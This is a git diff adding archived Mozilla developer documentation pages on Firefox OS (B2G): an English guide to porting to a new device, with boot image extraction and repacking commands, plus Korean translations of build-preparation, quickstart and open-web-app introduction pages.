+<h2 id="Create_a_configuration_tree_for_the_new_device">Create a configuration tree for the new device</h2>
+<p>Create a new configuration tree for the new device. This should be at <code>device/<em>&lt;manufacturer&gt;</em>/<em>&lt;device_id&gt;</em></code>. This tree should include, at least:</p>
+<ul>
+  <li><code>AndroidBoard.mk</code></li>
+  <li><code>AndroidProducts.mk</code></li>
+  <li><code>BoardConfig.mk</code></li>
+  <li><code>extract-files.sh</code></li>
+  <li><code>full_&lt;device_id&gt;.mk</code></li>
+  <li>idc files for touchscreen</li>
+  <li>init files (<code>init.rc</code>, <code>init.&lt;target&gt;.rc</code>, <code>uevent.rc</code>, ...)</li>
+</ul>
+<p>The content here may differ a great deal from one device to another. In particular, BoardConfig.mk and extract-files.sh may differ significantly. This part requires a lot of hacking, testing, and debugging to figure out which binary blobs should be extracted. To get a better idea what is supposed to be contained there, take a look at the <a href="https://github.com/mozilla-b2g/android-device-hamachi" title="https://github.com/mozilla-b2g/android-device-hamachi">configuration for the hamachi device</a>. Remember to correctly reference your own configuration tree from the manifest you created for your new device.</p>
+<div class="note">
+  <p><strong>Note:</strong> If you can find an existing reference on <a href="http://www.cyanogenmod.com/" title="http://www.cyanogenmod.com/">CyanogenMod</a> for your device, this information will speed up the porting process. the <a href="http://forum.xda-developers.com/" title="http://forum.xda-developers.com/">XDA Forum</a> is another good place to discuss and check for resources.</p>
+</div>
+<h2 id="Rebuilt_boot.img">Rebuilt boot.img</h2>
+<p>Once you have all that done, you need to rebuild the boot image. This isn't usually needed for the kernel itself, but to pick up the changes to <code>init.rc</code>.</p>
+<h3 id="Changes_to_init.rc">Changes to init.rc</h3>
+<p>The init.rc you use is <strong>not</strong> the one provided by B2G; instead, you need to pull it from the device.</p>
+<p>The main things you'll need to modify are:</p>
+<h4 id="Import_init.b2g.rc">Import init.b2g.rc</h4>
+<p>Add the following lines to import <code>init.b2g.rc</code>:</p>
+<pre>on early-init
+    start ueventd
+    import /init.b2g.rc</pre>
+<h4 id="Fix_permissions">Fix permissions</h4>
+<p>Correct the permissions on the files <code>/system/b2g/b2g</code>, <code>/system/b2g/updater</code>, <code>/system/b2g/plugin-container</code>; this should be done after the lines that mount the filesystem read/write:</p>
+<pre>chmod 0755 /system/b2g/b2g
+chmod 0755 /system/b2g/updater
+chmod 0755 /system/b2g/plugin-container</pre>
+<p>You might want to start by modifying the <code>init.rc</code> from the new device instead of using the <code>init.rc</code> provided by the build system; if so, you need to remember to set <code>TARGET_PROVIDES_INIT_RC</code> in <code>BoardConfig.mk</code>.</p>
+<h3 id="Prebuilt_kernel_vs._building_the_kernel_from_source">Prebuilt kernel vs. building the kernel from source</h3>
+<p>You can use a prebuilt kernel, or you may build the kernel from source. To build the kernel from source, add AndroidKernel.mk and the kernel config to the device configuration tree.</p>
+<p>The <a href="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro" title="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro">maguro</a> on the old build system is an example that builds the kernel from source.</p>
+<h3 id="Extracting_and_modifying_an_existing_boot_image">Extracting and modifying an existing boot image</h3>
+<p>It is possible to recover the boot image of a phone by dumping the contents of the <code>/dev/mtd/mtd1</code> or <code>/dev/mtd/mtd2</code> devices, the resulting image file can then be easily recovered:</p>
+<pre>adb shell 'cat /dev/mtd/mtd1 &gt; /sdcard/boot.img'
+adb pull /sdcard/boot.img
+</pre>
+<p>Once the boot image file has been obtained it can be unpacked via a helper tool such as <a href="http://whiteboard.ping.se/Android/Unmkbootimg" title="Unmkbootimg">unmkbootimg</a>. The tool will extract both the kernel image (zImage) and the ramdisk (initramfs.cpio.gz) as well as printing out a command to rebuild the image with the same parameters of the original one, for example:</p>
+<pre>$ unmkbootimg boot.img
+Kernel size 3872576
+Kernel address 0x208000
+Ramdisk size 265102
+Ramdisk address 0x1500000
+Secondary size 0
+Secondary address 0x1100000
+Kernel tags address 0x200100
+Flash page size 2048
+Board name is ""
+Command line "androidboot.hardware=aphone"
+Extracting kernel to file zImage ...
+Extracting root filesystem to file initramfs.cpio.gz ...
+All done.
+---------------
+To recompile this image, use:
+  mkbootimg --kernel zImage --ramdisk initramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o new_boot.img
+---------------
+</pre>
+<p>To modify the ramdisk file create an output directory and extract it there:</p>
+<pre>mkdir initramfs_dir
+cd initramfs_dir
+gunzip -c ../initramfs.cpio.gz | cpio -i
+</pre>
+<p>Make all the required changes (such as modifying init.rc) and repack the ramdisk using <code>mkbootfs</code>, be sure to use the version that has been built with the B2G host tools:</p>
+<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootfs . | gzip &gt; ../newinitramfs.cpio.gz
+</pre>
+<p>Finally go back to the top-level directory and re-pack the boot image using the <code>mkbootimg</code>, also make sure you're using the version built with the other B2G host tools:</p>
+<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootimg --kernel zImage --ramdisk newinitramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o newboot.img
+</pre>
+<p>If you now copy the new boot image under <code>out/target/product/$DEVICE/boot.img</code> (where $DEVICE is your device name) it will be automatically flashed when invoking <code>flash.sh</code>. Alternatively you can flash it by hand with the following commands:</p>
+<pre>adb reboot bootloader
+fastboot flash boot newboot.img
+fastboot reboot
+</pre>
+<h2 id="Add_the_new_device_to_flash.sh">Add the new device to flash.sh</h2>
+<p>Add the new device to <code>flash.sh</code>; the specifics of how to do this will depend on what tools need to be used to flash the new device.</p>
+<h2 id="Configure_build_and_flash_the_new_device">Configure, build, and flash the new device</h2>
+<p>Now you can try building for and flashing to your new device:</p>
+<pre>ANDROIDFS_DIR=my_device_backup ./config.sh &lt;device_id&gt; '../b2g-manifest/default.xml'
+./build.sh
+./flash.sh</pre>
+<h2 id="Test_and_debug">Test and debug</h2>
+<p>We need some details added here; indeed, this entire article could use some help.</p>
+<h2 id="FAQ">FAQ</h2>
+<p>Forthcoming</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></li>
+  <li><a href="https://github.com/mozilla-b2g/B2G" title="https://github.com/mozilla-b2g/B2G">B2G source code on Github</a></li>
+  <li><a href="http://www.android.com/" title="http://www.android.com/">Android web site</a></li>
+  <li><a href="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/" title="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/">A list of existing projects on Dietrich Ayala's blog</a> to port Firefox OS on some devices</li>
+</ul>
diff --git a/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
new file mode 100644
index 0000000000..30286822a1
--- /dev/null
+++ b/files/ko/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
@@ -0,0 +1,148 @@
+---
+title: 처음 B2G 빌드를 위한 준비
+slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+---
+<p></p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>여기서는 B2G 빌드를 하기 전에 수행 해야 하는 repository를 가져오고 빌드 환경을 설정에 대해 알아 봅니다.</p>
+
+<h2 id="B2G_repository_가져_오기">B2G repository 가져 오기</h2>
+
+<p>첫번째로, 빌드를 처음으로 시작하기에 앞서, B2G repository를 가져 와야 합니다. 이 단계가 모든 것을 다 가져 오는 것은 아니고, B2G build system을 가져 오고 빌드에 필요한 각종 툴들을 가져 옵니다. 대부분의 B2G code는 아직 main Mozilla <a href="/en-US/docs/Mercurial" title="Mercurial">Mercurial</a> repository에 존재 합니다.</p>
+
+<p>Repository를 가져 오기 위해 "git"을 사용합니다.</p>
+
+<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre>
+
+<p>몇분간의 git작업 진행 후 새로 생긴 "B2G"폴더로 이동하세요.</p>
+
+<pre>cd B2G
+</pre>
+
+<h2 id="작업중이던_B2G_tree를_새로_구성한_빌드_환경으로_복사하기(작업_중일_경우만_진행_그외는_다음_단계로)">작업중이던 B2G tree를 새로 구성한 빌드 환경으로 복사하기(작업 중일 경우만 진행, 그외는 다음 단계로)</h2>
+
+<p>If you've gotten a new computer (lucky you!), you'll find your life will be much easier if you simply migrate your entire B2G tree from one computer to another.</p>
+
+<p>To do that, mount your old computer's drive onto your new computer, then do this:</p>
+
+<pre>rsync -a <em>source</em>/ <em>dest</em>/
+</pre>
+
+<p>Where <code>source</code> is the full path (including the trailing slash) of the source tree, and <code>dest</code> is where you want to put it (the trailing slash is also important!).</p>
+
+<div class="note">
+<p>Note: If you copy the files from a computer with another platform ensure to run '<em>./build.sh clean'</em> before you start the build process. If you don't do this you might encounter compilation issues.</p>
+</div>
+
+<p>If you do this, you can skip all of the rest of this article and move right on to <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko">building</a>.</p>
+
+<h2 id="단말기용_B2G_환경_설정">단말기용 B2G 환경 설정</h2>
+
+<div class="warning"><strong>중요</strong>: 단말기는 <strong>안드로이드 4</strong> (즉 <strong>아이스크림 샌드위치(ICS)</strong>) 가 설치 되어 있어야 합니다. 단말기에 구동중인 안드로이드 버전을 확인하시고, 그렇지 않으면 대부분 이단계 부터 실패를 할 것입니다. 또한 USB에 연결된 단말기로 다운로드를 할 경우 만약 USB허브로 연결 되어 있을 경우는 문제를 발생할 수 있으므로, 허브가 아닌 직접 PC에 연결된 USB와 연결 하시기 바랍니다.</div>
+
+<p>Core B2G build system을 다 받고 나면, 설치하고자 하는 단말기에 맞는 환경을 설정 해야 합니다. 지원되는 단말기의 종류를 보려면 아래와 같이 실행 하세요.</p>
+
+<pre>./config.sh
+</pre>
+
+<p>리스트는 아래와 같이 보일 것입니다.</p>
+
+<pre>Usage: ./config.sh [-cdflnq] (device name)
+Flags are passed through to |./repo sync|.
+
+Valid devices to configure are:
+- galaxy-s2
+- galaxy-nexus
+- nexus-4
+- nexus-4-kk
+- nexus-5
+- nexus-5-l
+- nexus-s
+- nexus-s-4g
+- flo (Nexus 7 2013)
+- otoro
+- unagi
+- inari
+- keon
+- peak
+- hamachi
+- helix
+- tarako
+- dolphin
+- dolphin-512
+- pandaboard
+- vixen
+- flatfish
+- flame
+- flame-kk
+- flame-l
+- rpi (Revision B)
+- emulator
+- emulator-jb
+- emulator-kk
+- emulator-l
+- emulator-x86
+- emulator-x86-jb
+- emulator-x86-kk
+- emulator-x86-l
+&gt; Sony Xperia devices
+- aries (Z3 Compact KK)
+- aries-l (Z3 Compact L)
+- leo-kk (Z3 KK)
+- leo-l (Z3 L)
+- scorpion-l (Z3 Tablet Compact L)
+- sirius-l (Z2 L)
+- tianchi-l (T2U L)
+- flamingo-l (E3 L)</pre>
+
+<p>만약 해당 단말기가 리스트에 없다면, 바로 모든 과정을 중단하고 B2G 포팅 도움을 요청하거나 누군가 해당 단말기용 작업을 완료 하기를 기다리세요. Mozilla에서는 당신의 도움을 환영합니다!</p>
+
+<div class="note"><strong>Note:</strong> 특정 버전의 Gecko와 상관 없이 빌드를 하고자 한다면, 진행 하기 전에<a href="#Building_against_a_custom_Gecko">Building against a custom Gecko</a> 를 참고 하세요.</div>
+
+<h3 id="모바일_단말기_환경_설정">모바일 단말기 환경 설정</h3>
+
+<p>우선, 환경설정시 단말기와 통신을 하게 되므로, 설정 하고자 하는 단말기를 연결하세요.</p>
+
+<p>원하는 단말기의 종류가 위에 나와 있다면, 아래와 같이 config.sh + 단말기 이름을 입력 하세요. Samsung Google Nexus S를 예로 들면 아래와 같습니다.</p>
+
+<pre>./config.sh nexus-s
+</pre>
+
+<p>설정 시작하고 바로 아마도 색상 환경 설정을 입력 해야 할 것입니다. 색상 선택이 완료되면 환경 설정은 계속 진행 됩니다. 지금부터는 Boot to Gecko빌드에 필요한 모든 코드를 복하게될 것이며, 이는 상당한 시간이 소요 될 것이니 잠깐 쉬는 시간을 가지도록 하세요.(2시간 이상 소요 예상됨)</p>
+
+<p>If your phone no longer has Android on and your B2G tree doesn't have the binary blobs in it, and you wisely made a backup of the <code>/system</code> partition like an earlier page told you to, you can use it like this:</p>
+
+<pre>ANDROIDFS_DIR=&lt;absolute path to parent dir of system dir&gt; ./config.sh &lt;target&gt;
+</pre>
+
+<h3 id="에뮬레이터_빌드_환경_설정">에뮬레이터 빌드 환경 설정</h3>
+
+<p>ARM 에뮬레이터는 "emulator", x86 에뮬레이터는 "emulator-x86"로 아래와 같이 수행 하시면 에뮬레이터용 환경 설정도 가능합니다. x86 에뮬레이터가 ARM용 에뮬레이터보다 수행 속도는 빠르지만 실제 단말기와 다르게 동작 할 수도 있습니다.</p>
+
+<p>아래는 ARM용 에뮬레이터 환경 설정입니다.</p>
+
+<pre>./config.sh emulator
+</pre>
+
+<div class="note">
+<p>주의: ./config.sh수행은 시간이 많이 걸리므로 Ctrl-C로 중단이 가능하며 이후 다시 진행도 가능합니다. 만약 일부 진행이 문제가 있어 보인다면 './repo sync'를 실행 하시면 문제가 수정될지 모릅니다.</p>
+</div>
+
+<h2 id="Building_against_a_custom_Gecko">Building against a custom Gecko</h2>
+
+<p>There may be times that you want or need to build Boot to Gecko based on a different version of Gecko than the one that's used by default (as specified in the manifest). You can do so by editing the file <code>.userconfig</code> before you pull the repository (before the <code>config.sh</code> step above). For example, if you want to build against mozilla-central:</p>
+
+<pre>GECKO_PATH=/path/to/mozilla-central
+GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: if building against a custom Gecko in Mac OS X, the mozilla-central directory must be in a case sensitive file system.</p>
+</div>
+
+<p>See <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> for additional customizations you can do.</p>
+
+<p>다음은, <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko">빌드 시작 하기</a>.</p>
diff --git a/files/ko/archive/b2g_os/quickstart/index.html b/files/ko/archive/b2g_os/quickstart/index.html
new file mode 100644
index 0000000000..ebe1f7c220
--- /dev/null
+++ b/files/ko/archive/b2g_os/quickstart/index.html
@@ -0,0 +1,49 @@
+---
+title: Build
+slug: Archive/B2G_OS/Quickstart
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Quickstart
+---
+<div class="summary">
+  <p>Quickstart information on coding open web apps.</p>
+</div>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduction to open web apps</a></dt>
+  <dd>
+    What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Your_first_app">Your first app</a></dt>
+  <dd>
+    This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_Firefox_OS">Introduction to Firefox OS</a></dt>
+  <dd>
+    An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_manifests">Introduction to manifests</a></dt>
+  <dd>
+    An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_Web_developers">App development for web developers</a></dt>
+  <dd>
+    If you're a web developer, how do open web apps differ from what you're used to? This article explains all.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_mobile_developers">App development for mobile developers</a></dt>
+  <dd>
+    If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Developing_app_functionality">Developing app functionality</a></dt>
+  <dd>
+    This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/Payments">Payments</a></dt>
+  <dd>
+    How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.</dd>
+  <dt>
+    <a href="/en-US/docs/Web/Apps/Quickstart/Build/App_tools">App tools</a></dt>
+  <dd>
+    Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.</dd>
+</dl>
diff --git a/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html b/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html
new file mode 100644
index 0000000000..437b48c562
--- /dev/null
+++ b/files/ko/archive/b2g_os/quickstart/intro_to_firefox_os/index.html
@@ -0,0 +1,14 @@
+---
+title: Firefox OS에 대하여.
+slug: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_Firefox_OS
+---
+<div class="summary">
+ <p>Firefox OS 는 모질라의 Boot to Gecko (B2G) 프로젝트에 의해 개발된 새로운 모바일 운영체제 입니다. 리눅스 커널을 사용하고 Gecko-based runtime 엔진을 통해 구동됩니다. 이로서 사용자들은 <a href="//developer.mozilla.org/docs/JavaScript">JavaScript</a>와 <a href="//developer.mozilla.org/docs/HTML">HTML</a>, 그리고 다른 오픈소스 웹 어플리케이션 API를 사용하여 만든 앱들을 사용할 수 있게 되었습니다.</p>
+</div>
+<p><strong>Firefox OS </strong>("Boot to Gecko" 또는 "B2G"라는 코드명으로도 불립니다) 는 모질라의 오픈소스 모바일 운영체제입니다. 리눅스 커널에 기반했으며, <a href="//developer.mozilla.org/docs/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="//developer.mozilla.org/docs/JavaScript">JavaScript</a>, 그리고 오픈소스 웹 어플리케이션 API를 구동하는 Gecko-based runtime 엔진으로 구동됩니다. Firefox OS는 또한 독점 기술로부터 자유로운 모바일 운영체제이기도 합니다. 즉, 앱 개발자들에게 그들이 원하는 끝내주는 것들을 만들게 해 주는 기회를 제공하는 강력한 플랫폼이기도 합니다. 게다가, 이것은 최종적으로 사용자에게 행복을 줄 수 있을 만큼 유연하고 포용력 있는 운영체제이기도 합니다.</p>
+<p style="width: 480px; margin: 0 auto;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/-9vktI70iHc/?feature=player_detailpage" width="480"></iframe></p>
+<p>Firefox OS는 <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a>라는 기본 설치 앱과 함께 제공됩니다. <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a>는 핸드폰의 기본적인 기능들인 설정, 통화, SMS, 사진촬영 및 편집, 그리고 그 외의 것들을 관리합니다.</p>
+<p>웹 개발자들에게 이해시켜야 할 가장 중요한 부분은, '모든 사용자 인터페이스(UI)가 웹을 기반한 어플리케이션이라는 것입니다. 다른 웹 기반 어플리케이션을 구동하고, 화면에 표시하는 것이 가능한 웹 어플리케이션이라는 것이죠. 당신이 사용자 인터페이스에 적용하는 모든 수정과, 당신이 Firefox OS에서 구동시키기 위해 만드는 모든 앱들은, 모바일 기기와 서비스에 대한 향상된 접근에도 불구하고. 웹페이지입니다.</p>
+<p>Firefox OS는 현재 엄청난 개발단계중에 있습니다. 우리는 당신에게 Gaia와 앱 개발을 더 쉽게 만들어주기 위해 끊임없이 노력중입니다.</p>
+<p>Firefox OS에 대한 더 많은 정보를 원하신다면 <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS content zone</a>으로 와 주십시오.</p>
diff --git a/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html b/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html
new file mode 100644
index 0000000000..50f550e7c3
--- /dev/null
+++ b/files/ko/archive/b2g_os/quickstart/intro_to_open_web_apps/index.html
@@ -0,0 +1,53 @@
+---
+title: 개방형 웹 앱 소개
+slug: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps
+translation_of: Archive/B2G_OS/Quickstart/Intro_to_open_web_apps
+---
+<p><img alt="Multi devices" src="/files/4523/multidevices.png" style="width: 640px; height: 225px;"></p>
+<div class="summary">
+ <p><span style="font-size: 14px; font-family: 'Lucida Grande';">이 글은 개발자, 프로젝트 매니저, 또는 앱 개발과 배포에 관련이 있는 사람 등 개방형 웹 앱을 배우고자 하는 모든이들에게 좋은 출발점이 되고자 합니다. 이 글에서는 개방형 웹 앱에 대해 대략적인 개요를 가볍게 설명하고 개방형 웹 앱의 철학에 대해 소개합니다.</span></p>
+</div>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">개방형 웹 앱은 기본적으로 일반적인 웹 사이트나 웹 페이지와 다르지 않습니다. 개방형 웹 앱은 HTML, CSS, JavaScript 등 개방된 표준 웹 기술을 사용하고 웹 브라우저를 통해 접근할 수 있습니다. 가장 큰 차이는 디바이스에 설치될 수 있는지, 오프라인일 때 작동할 수 있는지, 그리고 카메라, 주소록과 같은 디바이스 기능과 인터렉션할 수 있는 더 발전된 API 에 접근할 수 있는지 등 그 기능들에 있습니다. 또한 개방형 웹 앱은 공개된 기술을 최대한 이용해 만들어집니다. 플랫폼들 사이에 아직 구현되지 않은 기술들이 있을 수 있기 때문에 피쳐 디텍션(feature detection)과 여러 플랫폼에서 작동하는 코드, 그리고 우아한 성능저하(graceful degradation)를 통해 웹 브라우저와 디바이스 모두를 지원하는 노력이 필요합니다.</span></p>
+<h2 id="개방형_웹_앱의_장점">개방형 웹 앱의 장점</h2>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">개방형 웹 앱의 장점에 대해 조금 더 자세히 알아봅시다:</span></p>
+<ul style="margin: 0px 0px 1.286em; padding: 0px 0px 0px 20px;">
+ <li><strong><span style="line-height: normal; font-family: 'Lucida Grande';">디바이스에 직접 설치와 오프라인 저장소</span></strong>: <span style="line-height: normal; font-family: 'Lucida Grande';">개방형 웹 앱은 디바이스에 설치될 수 있고, 로컬스토리지, Indexed DB 등의 API 를 최대한 활용해 로컬 데이터 저장 기능을 제공합니다. 게다가 범용적인 웹 기술들은 네이티브 앱들에 비해 아주 적은 공간을 차지하는 경우가 많고, 업데이트 할 때마다 완전히 새로운 패키지를 설치하기 보다는 변경된 부분만 업데이트할 수 있습니다. 따라서 이런 앱들은 항상 온라인이어야 하는 웹에 비해 네트워크에 독립적이고, 네트워크가 좋지 않은 상황에 더 강합니다.</span></li>
+ <li><strong><span style="line-height: normal; font-family: 'Lucida Grande';">하드웨어 접근</span></strong>: <span style="line-height: normal; font-family: 'Lucida Grande';">개방형 웹 앱과 함께 제공되는 메타데이터는 애플리케이션에 특별한 권한이 필요한 API 들에 접근할 수 있는 권한을 제공할 수 있고, 그럼으로써 웹 플랫폼에서는 이전에는 누릴 수 없었던 디바이스의 하드웨어 기능을 활용할 수 있도록 합니다.</span></li>
+ <li><strong><span style="line-height: normal; font-family: 'Lucida Grande';">담장을 두른 정원을 부수기:</span></strong> <span style="line-height: normal; font-family: 'Lucida Grande';">모바일 플랫폼을 위한 표준은 벤더 전용의 기술들로 담장을 두른 정원과 비슷합니다. 따라서 앱들은 그들의 플랫폼 안에 묶이게됩니다. 또 스마트폰은 비싼 경우가 많고 앱 결재를 위해 신용카드를 요구하는 경우도 많습니다. 개방형 웹 앱은 더 저렴한 하드웨어에서 동작이 가능한 경우가 많고 특히 Firefox OS 디바이스는 말그대로 경량화된 리눅스 커널 위에서 동작하는 Firefox 그 자체를 가지게 됩니다. 그리고 개방형 웹 앱은 가장 많이 배포된 플랫폼인 범용적인 웹 기술로 작성되어 있습니다. 또한 Firefox OS 기기들은 결제 시스템을 탑재하고 있어서 앱 구매시 선불 결제나 전화 요금에 통합과금되는 형태의 결제를 사용할 수 있습니다.</span></li>
+ <li><strong><span style="line-height: normal; font-family: 'Lucida Grande';">개방형 웹 앱 스토어: </span></strong><span style="line-height: normal; font-family: 'Lucida Grande';">위에 언급된 바에 따라 여러분은 자신의 앱을 이미 존재하고 있는 마켓플레이스(<a class="external" href="https://marketplace.firefox.com/" style="padding-right: 16px; background-color: transparent; line-height: 21px;" title="https://marketplace.firefox.com/">Firefox Marketplace</a>와 같은)를 통해 제공할 수도 있고 전혀 다른 곳에서 제공할 수도 있습니다. 이것은 여러분의 선택에 달려있습니다. Mozilla는 개발자들에게 쉬운 개발에서부터 직접적인 고객관계관리(CRM)를 제공하는데  이르기까지 모든 방면의 앱 경험에 대한 권한을 돌려주려고합니다. 그리고 이 앱들은 다른 웹 기반의 앱에서 경험한 바와 같이 검색엔진을 통해 검색될 수 있습니다.</span></li>
+</ul>
+<p>아래 동영상도 개방형 웹 앱의 일반적인 장점과 Firefox OS 플랫폼에서의 개발에 대해 다루고 있습니다.</p>
+<p style="text-align: center;"><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/RJJkFshnnVc/?feature=player_detailpage" width="480"></iframe></p>
+<h2 id="웹이_바로_플랫폼_입니다.">웹이 바로 플랫폼 입니다.</h2>
+<p><span style="font-family: 'Lucida Grande'; font-size: 14px; line-height: inherit;">개방형 웹 앱은 그 자체로서 Firefox OS 와 같은 플랫폼에 설치된 상태로 존재합니다. 브라우저의 즐겨찾기가 아니라 정당한 시스템의 한 부분으로 존재합니다. 개방형 웹 앱의 미래는 무척 밝습니다. 개방형 웹 앱은 우리가 잡아야하는 기회이지만 놓치게 된다면 웹은 다시 한번 쪼개지게 될 것입니다. 이런 관점에서 보면 개방형 웹 앱(줄여서 OWA)이 표준화되어 “웹”의 일부가 되는 것을 지향하고 있다는 것이 명확해집니다. 만약 성공한다면 OWA 는 향후 모든 브라우저, 운영체제, 디바이스에서 작동하게 될 것입니다</span>.</p>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">Mozilla 에서 우리는 개방된 웹이 전적으로 지원하는 앱 플랫폼을 만들기 위해 열심히 노력하고 있습니다. “Mozilla 플랫폼” 이라던지 “Firefox 플랫폼”이 되는 것을 원하는 것이 아닙니다. <b>웹이 바로 플랫폼 입니다.</b> 우리는 공개 API 들을 만들고, 어떻게 포터블 앱이 벤더에 종속적이지 않고도 존재할 수 있는지 보여주는 구현물을 만듭니다. Facebook 이나 Google Chrome 등 다른 그룹들도 웹 앱을 만들고 있습니다. Facebook 앱은 Facebook 서비스에 장착할 수 있도록 하는 고리를 뜻하고, Chrome 앱은 Chrome OS 디바이스와 Google 서버를 위해 설계되었습니다. Chrome 앱은 개방형 웹 앱과 굉장히 비슷합니다. 우리는 Google Chrome 팀과 앱 표준의 발전을 위해 지속적으로 협력합니다. 또한 우리는 매우 많은 비전을 공유합니다. 모든 웹 기반 앱 플랫폼들은 통합 가능성이 매우 크므로 우리는 우리가 올바른 개방형 웹 앱 API 를 만들 수 있게 도와줄 모든 벤더들을 환영합니다.</span></p>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">비록 현재로서는 개방형 웹 앱은 Mozilla Firefox 기반의 엔진(“Web 런타임”)에서만 구동되지만, 이것이 절대적인 것은 아닙니다. 개방형 웹 앱 프로젝트의 많은 부분들은 아직도 작업 중이고 한번에 모든 브라우저에서 모든 것을 구현하는 것은 불가능합니다. 개방형 웹 앱의 많은 부분은 이미 표준화 되었지만 다른 많은 부분은 아직 유동적입니다. 우리는 개방형 웹 앱이 모든 주요 브라우저에서 사용가능한 표준이 되는 것을 지향하고 바랍니다.</span></p>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">따라서 개방형 웹 앱에 대해 다룬 MDN 페이지를 읽을 때에는, 지금으로선 많은 정보들이 Firefox 에 특화된 정보일지라도, 미래에는 모든 브라우저에서 동작하는 개방형 웹 앱의 개발 정보가 될 수 있음을 명심하시기 바랍니다.</span></p>
+<h2 id="웹_표준">웹 표준</h2>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">OWA 기술은 단일 기술로 이루어진 것이 아닙니다. OWA 기술은 많은 기술들의 집단들을 포괄하고 있으며 그 중 일부는 초기 기술들입니다. 지금으로서는 OWA 의 일부가 표준화되어 있습니다(HTML5, CSS, JavaScript, IndexedDb 등등). 그 외 부분들은 아직 표준화되지 않았기 때문에 Mozilla 의 구현은 Firefox 전용 구현이거나 다른 Mozilla 기술에서만 동작하는 구현일 수 있습니다. 모두에게 공유하고 권한을 주자는 Mozilla 의 사명처럼 이 상황은 일시적인 것 입니다. 따라서 우리는 OWA 문서들에 아직 표준화 되지 않은 OWA 기술들을 명확히 알 수 있게 하려고 합니다.</span></p>
+<p><span style="font-size: 14px; font-family: 'Lucida Grande';">Mozilla 에서 사용하고 있지 않은 OWA 관련 제안들과 잠재적인 표준들도 있을 수 있습니다.</span></p>
+<p><span style="font-family: Georgia, Times, 'Times New Roman', serif; font-size: 1.428em; line-height: inherit;">향후 표준이 되는 기술</span></p>
+<p><span style="font-family: 'Lucida Grande'; font-size: 14px; line-height: inherit;">여기에는 현재 다른 웹 플랫폼에서 아직 표준화되지 않아 Firefox 에서만 동작하는 기술들의 모음입니다:</span></p>
+<ul>
